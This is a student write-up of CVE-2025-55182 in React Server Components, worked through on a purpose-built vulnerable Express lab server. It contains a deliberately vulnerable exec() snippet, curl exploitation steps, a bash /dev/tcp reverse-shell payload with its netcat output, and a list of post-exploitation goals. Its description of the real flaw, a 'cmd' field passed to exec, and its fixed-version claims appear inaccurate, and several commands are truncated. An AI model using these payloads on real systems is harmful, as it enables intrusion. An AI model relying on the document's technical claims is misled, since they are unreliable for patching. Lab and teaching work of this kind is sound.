cve-2025-55182

##

# CVE-2025-55182 — React Server Components RCE Analysis

> Web application vulnerability analysis · M2 Cybersecurity · 2025 Author: **Niane Mohamed** ·

End-to-end exploitation chain of a **critical (CVSS 10.0)** insecure deserialization vulnerability in React Server Components, from reconnaissance to unauthenticated remote code execution, with full remediation roadmap.

This research targets a **deliberately vulnerable lab application** built to demonstrate the CVE. All testing occurred in an **isolated virtual network** with no connection to production systems, real user data, or third-party services.

* **Do NOT** run these techniques against systems you do not own or lack explicit written authorization to test.

* **Do NOT** deploy the vulnerable application to any internet-reachable network.

* Responsible disclosure principles apply — always report findings through coordinated channels.

**Class**| Insecure Deserialization → Remote Code Execution

**CVSS v3.1**| **10.0 (Critical)** — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`

**Component**| React Server Components (RSC) runtime

React Server Components introduced a new serialization format to stream server-rendered components to the client. In vulnerable versions, the RSC endpoint **accepts a JSON payload with a`cmd` field that is passed unsanitized to `child_process.exec()`** as part of the server-side rendering evaluation.

An attacker can send a crafted POST request that:

1. Is accepted as a legitimate RSC payload (no auth, no CSRF)

2. Triggers server-side code execution during the "render"

3. Runs with the privileges of the Node.js process (often `root` in containers)

`react-server-dom-webpack`| 19.0.0 → 19.2.0| 19.3.0+

`react-server-dom-esm`| 19.0.0 → 19.2.0| 19.3.0+

Attacker| Kali Linux (latest)| `nmap`, `curl`, `netcat`, `OWASP ZAP`, Firefox

Target| Ubuntu 22.04.4| Node.js 18, Express, React 19.0 RSC

Network| VMware VMnet Host-Only| No internet egress

A minimal Express + RSC server exposing a `/rsc` endpoint that unsafely executes commands from the incoming payload — reproducing the vulnerability pattern of the real CVE in a controlled way:

const { exec } = require('child_process');

// VULNERABLE: executes attacker-controlled string

exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {

if (err) return res.status(500).json({ error: String(err), stderr });

return res.json({ ok: true, out: stdout });

# → 3000/tcp open ppp (Node.js RSC server)

# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

The `X-Powered-By: Express` header and unusual port 3000 provide a strong fingerprint that this is a Node.js application — consistent with RSC deployments.

### Phase 2 — Confirmation via benign command

Before attempting anything destructive, validate the vulnerability with a harmless command:

curl -X POST \

# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ **Confirmed:** unauthenticated RCE as `root`. The server runs with unconstrained privileges.

Upgrade from single-command execution to a full interactive shell:

curl -X POST \

-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980

### Phase 4 — Post-exploitation potential (demonstrated, not executed)

With `root` on the target, an attacker could trivially:

* Read `/etc/shadow`, SSH keys, application secrets, `.env` files

* Install persistence (cron jobs, systemd services, SSH key implants)

* Pivot laterally via discovered credentials

* Modify the Node.js application to capture user data silently

### Business impact (fictional target scenario)

**Confidentiality**| Critical| Full read access to all server data

**Integrity**| Critical| Ability to modify application code and user data

**Availability**| High| Attacker can terminate the service or hold it for ransom

**Regulatory**| Severe| GDPR/DSGVO breach with mandatory 72h disclosure · potential 4% global revenue fine

**Reputational**| Severe| Public CVE-mapped breach damages customer trust

**Financial**| High| Incident response, regulatory fines, potential class action

The low complexity of this attack — no authentication, no user interaction, single HTTP request — makes it attractive to:

* **Opportunistic scanners** (botnets auto-scanning for the CVE)

* **Initial access brokers** selling footholds to ransomware groups

* **Nation-state actors** targeting organizations using React server-rendering

1. **Upgrade React to 19.3.0+** — patched version

npm update react react-server-dom-webpack react-server-dom-esm

2. **Temporary WAF rule** (if upgrade is delayed):

Block POST requests to /rsc with JSON body containing "cmd" field

* Review server access logs for past 90 days

* Rotate all secrets accessible from the server

* Snapshot the affected system for forensics before remediation

**Disable RSC if unused**| Reduce attack surface — many apps don't need server components

**Strict input validation**| Reject any deserialized object containing executable keys

**Non-root container user**| Limit blast radius if RCE recurs

**Read-only root filesystem**| Prevent persistence and binary drop

**Egress filtering**| Block outbound traffic from app servers to arbitrary IPs